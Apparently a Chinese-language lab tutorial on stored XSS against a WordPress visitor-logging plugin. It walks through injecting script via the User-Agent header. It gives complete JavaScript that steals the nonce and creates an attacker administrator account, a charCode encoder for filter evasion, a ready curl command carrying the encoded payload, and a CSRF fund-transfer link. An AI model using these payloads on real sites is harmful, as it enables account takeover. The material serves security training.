XSS 跨站腳本攻擊

 XSS 跨站腳本攻擊


XSS 簡單講分為存儲型、反射型以及基於 DOM 的 XSS

不外乎就是透過注入 JavaScript 來達到攻擊的目的,JavaScript 上一篇有極簡單介紹了一下

所以這裡主要放 XSS 攻擊的說明,XSS 起手式就是開始測試網頁會否處理特殊字符

XSS 簡單示意圖如下,攻擊主注入 JavaScript 讓受害者執行




簡單基本的 XSS 注入字符測試 : < > ' " { } ;

XSS 攻擊範例說明 : 

於 WordPress Plugin 中有一個名稱為 [ Visitors ] 的套件,下載該套件檢查其中紀錄的 function 如下

======================================================================

function VST_save_record() {

global $wpdb;

$table_name = $wpdb->prefix . 'VST_registros';


VST_create_table_records();


return $wpdb->insert(

$table_name,

array(

'patch' => $_SERVER["REQUEST_URI"],

'datetime' => current_time( 'mysql' ),

'useragent' => $_SERVER['HTTP_USER_AGENT'],

'ip' => $_SERVER['HTTP_X_FORWARDED_FOR']

)

);

}

=====================================================================

可以看到紀錄了使用者訪問的 URI、當下時間(直接用 mysql 的時間)、User-Agent 以及使用者真實來源 IP X-FORWARDED-FOR



接著看管理者訪問該紀錄時該套件會加載的 start.php 語法如下

可以看到 path 即存取的 URI 轉小寫顯示出來

訪問的來源 IP 帶入參數接著去查找線上 GEO Location 的結果

僅有 useragent 是直接從 DB 將值從 DB 抓出來原封不動地顯示在 HTML 中

且由於 User-Agent 值是由 Client 端送出的 HTTP Header 提供的

所以可以很容易地透過修改該值來送出 HTTP Request

注意 : 此方法 "User-Agent" 是一種常用來驗證 XSS 攻擊的手法

包括 "X-FORWARDED-FOR" 也是一種常用的手法

==================================================================

$i=count(VST_get_records($date_start, $date_finish));

foreach(VST_get_records($date_start, $date_finish) as $record) {

    echo '

        <tr class="active" >

            <td scope="row" >'.$i.'</td>

            <td scope="row" >'.date_format(date_create($record->datetime), get_option("links_updated_date_format")).'</td>

            <td scope="row" >'.$record->patch.'</td>

            <td scope="row" ><a href="https://www.geolocation.com/es?ip='.$record->ip.'#ipresult">'.$record->ip.'</a></td>

            <td>'.$record->useragent.'</td>

        </tr>';

    $i--;

}

==================================================================


最好用的工具就是之前提到的 Burp Suite,將 HTTP Request 送到 Repeater




修改 User-Agent 欄位的值,最簡單的驗證手法就是寫入 Alert 彈跳式視窗如下語法

<script>alert(42)</script>  --> 這表示會跳出一個視窗並顯示輸入的值 42





驗證這一點很簡單,架設一個 WordPress 並安裝該套件,使用者端訪問並插入 JavaScript

然後管理者去訪問該套件的數據,就會看到如下的彈跳式結果視窗





如下圖測試時發現登入後有四個有效的 Session Cookie,但第四筆看來是一個測試 cookie 所以先忽略,檢查前三筆發現 HttpOnly 屬性都是 True 所以就可以直接放棄透過 JavaScript 去抓取 cookie 的方式改從其他角度切入

HttpOnly : 告知瀏覽器拒絕透過 JavaScript 訪問 cookie



思考邏輯重點 : 一旦發現可以 XSS 攻擊,發現無法從 JavaScript 抓取有效的 cookie 下一部最簡單的聯想就是塞入一段創建擁有管理者權限帳號




接著來看提權的 XSS 攻擊或稱 CSRF,如下語法範例 :

=======================================================================

<a href="http://fakeonlinebank.com/send_btc?account=ATTACKER&amount=999999"">看看這些貓咪產品吧!</a>

=======================================================================

若將該段 JavaScript 語法插入到 HTML 當中則使用者看到的是 [ 看看這些貓咪產品吧! ]

點擊時若沒有注意連結,那就會執行前面那一段線上銀行 API

好死不死使用者又剛好有該銀行的帳戶然後又有登入未登出的狀態下

點了就將 999999 數字的值轉出去到 ATTACKER 的帳戶了



wordpress 常使用 nonce 來生成隨機的 URL token 保護,所以僅插入攻擊語法可能沒有用

因為沒有 token 驗證值,而這個值雖然是隨機產生的,一旦產生後在 session 結束前都是有用的

所以要想當 wp 網站啟用 nonce 保護時我們要如何讓插入的 XSS 可以成功的執行我們要的 JS

那就是將攻擊語法也帶入 token 即可,可以透過以下的 JavaScript 先抓取 nonce 隨機數

=====================================================================

var ajaxRequest = new XMLHttpRequest();

var requestURL = "/wp-admin/user-new.php";

var nonceRegex = /ser" value="([^"]*?)"/g;

ajaxRequest.open("GET", requestURL, false);

ajaxRequest.send();

var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);

var nonce = nonceMatch[1];

=====================================================================

上述函數是執行一個新的 HTTP Request, URI 是 /wpadmin/user-new.php 

並包含使用 Regex 去抓取 nonce,當匹配符合字符串 ser" value="和雙引號之間包含的任何字母數字值,這個就是 token

抓到值後,後續執行建立一個新管理員的 JavaScript 函數如下

======================================================================

var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";

ajaxRequest = new XMLHttpRequest();

ajaxRequest.open("POST", requestURL, true);

ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

ajaxRequest.send(params);

======================================================================

上述是由兩個函數分別做說明,前段是成功抓取隨機數,後段是創建管理員帳號

但為了有效執行經常的作法是將兩個函數合併成為 one-liner

one-liner : 一行程式碼的意思,因為無法分開執行,故要將想要做的事情濃縮為一行

JavaScript 可以透過線上 JS 壓縮工具壓成一行,人不一定看得懂但程式一定懂

一般俗稱 compressor or minifier,例如 : https://www.toptal.com/developers/javascript-minifier




minifier 後如下,方便未來塞入到 Burp Suite 等工具使用



另外為了避免攻擊語法被偵測等過濾掉還會將語法做另外的編碼,例如轉換 UTF-16 整數代碼

可以透過以下函數來執行

====================================================================

function encode_to_javascript(string) {

            var input = string

            var output = '';

            for(pos = 0; pos < input.length; pos++) {

                output += input.charCodeAt(pos);

                if(pos != (input.length - 1)) {

                    output += ",";

                }

            }

            return output;

        }

        

let encoded = encode_to_javascript('insert_minified_javascript')

console.log(encoded)

====================================================================


整個編碼完輸出如下圖下方一堆數字的地方





再前面的敘述有提到該網站對於˙ user-agent 的結果是直接執行,所以我們的目的就是將上述

攻擊語法插入到 user-agent 的值

使用 curl 命令將上述語法插入到 user-agent ,指令如下

網站名稱是 offsecwp

--user-agent 表示我們將 user-agent 值送出如後

"<script> ...... </script>" 表示此為一段 JavaScript

因為有轉碼,所以在 JavaScript 前段要宣告後面的值是來自 CharCode

故輸入 String.fromCharCode 告知將後面的值進行編碼解析

最後 --porxy 127.0.0.1:8080 是透過 Burp Suite 代理

======================================================================

curl -i http://offsecwp --user-agent "<script>eval(String.fromCharCode(118,97,114,32,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,44,114,101,113,117,101,115,116,85,82,76,61,34,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,110,101,119,46,112,104,112,34,44,110,111,110,99,101,82,101,103,101,120,61,47,115,101,114,34,32,118,97,108,117,101,61,34,40,91,94,34,93,42,63,41,34,47,103,59,97,106,97,120,82,101,113,117,101,115,116,46,111,112,101,110,40,34,71,69,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,49,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,41,59,118,97,114,32,110,111,110,99,101,77,97,116,99,104,61,110,111,110,99,101,82,101,103,101,120,46,101,120,101,99,40,97,106,97,120,82,101,113,117,101,115,116,46,114,101,115,112,111,110,115,101,84,101,120,116,41,44,110,111,110,99,101,61,110,111,110,99,101,77,97,116,99,104,91,49,93,44,112,97,114,97,109,115,61,34,97,99,116,105,111,110,61,99,114,101,97,116,101,117,115,101,114,38,95,119,112,110,111,110,99,101,95,99,114,101,97,116,101,45,117,115,101,114,61,34,43,110,111,110,99,101,43,34,38,117,115,101,114,95,108,111,103,105,110,61,97,116,116,97,99,107,101,114,38,101,109,97,105,108,61,97,116,116,97,99,107,101,114,64,111,102,102,115,101,99,46,99,111,109,38,112,97,115,115,49,61,97,116,116,97,99,107,101,114,112,97,115,115,38,112,97,115,115,50,61,97,116,116,97,99,107,101,114,112,97,115,115,38,114,111,108,101,61,97,100,109,105,110,105,115,116,114,97,116,111,114,34,59,40,97,106,97,120,82,101,113,117,101,115,116,61,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,41,46,111,112,101,110,40,34,80,79,83,84,34,44,114,101,113,117,101,115,116,85,82,76,44,33,48,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,67,111,110,116,101,110,116,45,84,121,112,101,34,44,34,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,34,41,44,97,106,97,120,82,101,113,117,101,115,116,46,115,101,110,100,40,112,97,114,97,109,115,41,59))</script>" --proxy 127.0.0.1:8080

======================================================================


執行完畢後即可到 Burp Suite 查看如下圖




測試結果很簡單,還記得語法中的這一段嗎(如下),是創建一個使用者帳號為 attacker

並且給予 Role 是 administrator

var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@offsec.com&pass1=attackerpass&pass2=attackerpass&role=administrator";


所以我們可以在測試環境中以 wordpress 管理員的帳號登入,然後去察看那一筆 Visitors Log

若攻擊成功,那就會直接創建一個管理員帳號




點擊完後 --> 攻擊成功 --> 帳號創建,所以到 Users 頁籤查看使用者如下圖

可以看到 attacker 帳號被創建出來了,且角色是 administrator





結論 : 好可怕的第三方不安全套件,透過 XSS 漏洞插入 JavaScript 語法

等待某管理員幫我們執行該命令即可,不僅可透過此漏洞創建管理員帳號

亦可透過此漏洞埋入 Web Shell,也是另一種常用的攻擊





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)